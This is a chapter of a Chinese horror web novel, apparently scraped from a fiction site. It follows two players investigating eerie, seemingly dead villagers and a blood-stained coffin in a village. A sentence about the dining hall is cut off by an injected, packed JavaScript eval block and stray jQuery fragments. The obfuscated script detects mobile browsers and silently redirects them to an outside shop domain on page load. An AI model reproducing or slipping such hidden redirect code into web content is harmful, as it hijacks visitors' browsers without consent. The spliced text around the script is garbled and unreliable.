文趣网 > 其他小说 > 亥时玫瑰[无限流] > 3. 古怪的村民
    最偏僻的路可能真的最容易发现线索,在石头小巷里走了一阵,楚榆发现了一口古井。

    这古井如今已经没有水了,旁边立了个牌子,上面写着“落花井”,楚榆探过脑袋去看,发现这井并不深,似是被填过,里面撒了一地花瓣。

    最上面的花瓣很新鲜,几乎没有蔫巴的迹象,但底下隐隐约约透出一些泛黄近黑的枯萎花瓣。

    不说每天,但可能是过一段时间,就有人在井里撒上一些花瓣。

    楚榆觉得这行为不像是为了维护景区,而是一种仪式。

    尹从南只扫了一眼,忽然,他们前面出现一个很熟悉的背影,在着急忙慌地赶路。

    “村长。”

    听见有人喊他,村长连头带着整个身子僵硬地转过来,动作看上去很不协调,他眼下的乌青依旧显眼:“你们逛到这里了啊。”

    尹从南接过话:“这井挺好看的,我以为落花就只是个名号,没想到井里真的有落花。”

    听到这句话,村长僵硬的面部忽然不受控制地抽搐了一下,好一会儿,脸上才重新挂上面对游客的热情笑意:“务实嘛,我还有事情,你们慢慢逛。”

    他转身离开,步伐依旧匆忙。

    “好嘞村长,下次去你家吃饭啊!”

    村长的脚步踉跄了一下。

    尹从南看向村长离开的方向,若有所思,思了好一阵子之后,他转过头看向楚榆,眼里是满溢的求知欲:“你看村长像不像回去急着给老婆做饭的。”

    楚榆:……

    “快点,我们跟上去!”

    被尹从南拉着手突然一拽,楚榆跌了个趔趄,被迫跟上他。

    你都说了村长看上去是着急给老婆做饭的,你跟那么紧干什么?去吃饭吗?

    但是村长的行为确实有些奇怪,如果一定要形容的话,那就是他看上去不太像是一个正常的人。

    似乎感觉到有人跟着他,村长越走越快,在张横画出来的三条路线中的唯一一个岔路口,忽然窜出了两个人拦在了他们前面——

    他们一个挑着水,一个背着菜。

    只在转瞬之间,村长的身影就消失在了他们面前,没了踪影。

    之前只远远看过一眼,这会儿离得近了,楚榆忽然发现这两个人也实在奇怪——

    他们年级看上去有些大了,表情呈现一种不正常的惊恐,整张脸面色极为惨白,身子佝偻着,似乎看不到眼前这两个大活人。

    楚榆看了眼尹从南,尹从南点点头,两人改了方向,悄无声息地跟在他们身后。

    让他们没想到的是,这一跟,就跟回了他们起点处的一个屋子。

    这屋子看起来已经年久失修,此刻屋门打开,楚榆几乎能够一眼扫尽屋子里所有的东西。

    最显眼的,就是摆在屋子中间的一个大棺材。

    “嘶……”

    直到身边一声痛呼声传来,楚榆才发现他们的手还没放开,看着棺材,她起了一身的鸡皮疙瘩,下意识的攥紧手指。

    下一秒,楚榆立马放开,看着尹从南被捏的发白的手:“不好意思,我之前练过散打,手劲儿比较大,我不是故意的。”

    尹从南把龇牙咧嘴的表情硬生生忍了回去,嘴角微微上扬,展示了一个满分笑容:“没关系楚榆小姐,这东西出现在景区……确实挺吓人的。”

    说话间,他转了转套在中指上的一个戒指,大步流星地走到了门口,回头看着愣在原地的楚榆,又伸出手,脑袋朝屋子里偏了偏:“看看?”

    楚榆瞅了眼戒指,没把手搭上去,走到了他身边:“嗯。”

    尹从南再次挑了挑眉,放下了手。

    屋子里,那两个奇怪的老人正在厨房,叮铃哐啷地做饭,对有两个陌生人进入了他家一无所知。

    尹从南直奔棺材走了过去,手轻轻抚上棺材盖,沾了一手的灰。

    他抬起头,看向楚榆:“把棺材打开吧。”

    楚榆一脸不可置信地看着他,这一套流程实在有点太不讲理了。

    “说不定有线索呢?试试呗。”

    “线索”这两个字,比什么的诱惑都大,楚榆回想了一遍自己房间里纸上的东西,又回顾了一下村子里发生的一切。

    于是她答应下来。

    “哗啦——”

    盖子被推开,可他们却发现,漆黑的棺材里,除了密密麻麻染在棺材板上氧化不同程度显示出不同颜色的血迹,其他什么都没有。

    楚榆呼吸一滞,觉得事情愈发诡异起来。

    这个棺材里,难道躺过很多人?

    厨房里的声音渐小,他们合力关上棺材,站在屋子门口藏着身子往里看。

    婆婆端着两碗煮烂了的蔬菜放在桌上,连筷子都不拿,直接把碗里的东西往嘴里倒。

    “哐唧,哐唧……”

    食物掉在地面上的声音在安静的空间里显得格外明显,楚榆却没看到地上有掉下来的东西。

    第一次见到这个场景,楚榆的身后出了一身冷汗,尹从南抓住她的手,声音很轻:“走吧,要到时间了。”

    在回程路上,楚榆被惊的几近失去思考能力的脑子才慢慢回过神来,她看向尹从南,发现他的面色也没有了平常的闷骚样子,取而代之的是一种极为严肃的表情。

    “那两个人,不是活人。”

    楚榆用最理性的思维去思考,只得到了一个最荒唐的答案。

    谁家死人还背着菜扛着水在路上走?谁家死人做饭给自己吃?

    可是一个器官健全的活人,是绝对不会吃饭的时候有这么明显的食物掉落的声音。

    尹从南“嗯”了一声,握着楚榆的手却越握越紧。

    村子门口,除了他们俩之外的所有人已经站在那里了。而且很明显,他们已经交换过一次信息。

    看着慢慢走过来的两个人,那名男大学生却首先皱起了眉头:“大家都从出口出来,你们怎么从入口出来?”

    楚榆与尹从南对视一眼,把那奇怪的两个人做的一切都讲了一遍,一行人一边听,一边走回了宿舍餐厅。

    正值午饭时间,太阳都变得毒辣起来,叔叔站在打饭窗口,笑意盈盈地看着他们,她的手边,是已经打好的七份盒饭。

    餐厅不算小,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529291|203667||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    但没有一个大桌子,七个人按照分组分成了三桌吃饭。

    楚榆看着面前的清炒蔬菜,她有点下不去口。

    但理智战胜了感情,按照纸上写的规定,这一餐不吃,就得饿到晚上。

    况且还有那些鬼一样的村民,没人知道往后会发生什么,需不需要打架。

    所以还是吃饱一点比较好。

    尹从南看着楚榆把清炒蔬菜吃出了一种视死如归的感觉,低下头,嘴角不动声色地翘了一下。

    但是下一秒,楚榆愣住了——

    这菜一点味道都没有!

    她的脸瞬间白了一截,尹从南也发现她的变化,自己也低头吃了一口,依旧是没味道。

    就好像他们在嚼一滩有形状的固体水。

    旁边的五个人也停止了进食,面色是如出一辙的古怪。

    好死不死,叔叔刚把厨房收的差不多,面带笑容地走到他们身边,挨个问菜怎么样,合不合胃口?

    虽然语气很和蔼,但叔叔苍白的脸色还是吓倒了一排人,张横和艾娜一脸菜色地说好吃,很合胃口,最害怕的女生颤抖着身子说好吃,当叔叔转到楚榆和尹从南身边时,尹从南却像根本不害怕一样:“叔叔,这东西一点味道都没有,不好吃。”

    不远处的张横两眼一黑,楚榆却有些习惯尹从南这种态度了。

    叔叔带着完美笑容的面庞忽然有了一丝裂缝,她没再问楚榆:“哎哟,年纪大了,好像又忘记放盐了……”

    饭虽然难吃,但填饱肚子是第一位的,楚榆犟着把饭吃完了,抬头就看见尹从南挑着眉看她,手里又不自觉地转着中指的戒指。

    然后,尹从南朝她举出一个大拇指:“厉害。”

    楚榆:……无聊。

    从餐厅出来时,远远看去,村子里的雾已经很浓了——从西边的林子里飘来的。

    能见度低的雾里,危险只多不少,他们决定回宿舍里避一下。

    “啊!”

    凄厉的惨叫声把楚榆从睡梦中唤醒,紧接着,是上气不接下气的哭泣声。

    她想起纸上的内容,躺在床上没动,她听见有人在下楼梯。

    下楼梯的大概有两个人,他们的脚步声实在太有节奏感,规整的不行。

    没过多久,脚步声远去,门外重回寂静,窗外的月光顺着窗帘的缝隙洒进屋子里。

    楚榆不知道自己是什么时候睡着的,她抬起手,手表上最短的指针指向“1”。

    她有点睡不着了,手脚冰凉,后背被冷汗浸湿了一片。

    这里的一切都超出了她的认知范围,是她用科学完全无法解释的存在,她不知道这是哪里,不知道在这里死去意味着什么,也不知道为什么吃饭一点味道也无——她很清楚这绝对不是菜的原因。

    还有尹从南,这个同她几乎度过了今天所有清醒时间的人。

    她一个人,住在那地方,会不会有什么危险?

    尽管他的行为奇怪,不讲理,但是无可辩驳的是,好像有时,一些看似不合理的做法,反而能找出新的线索。

    但绝对没有说尹从南靠谱的意思!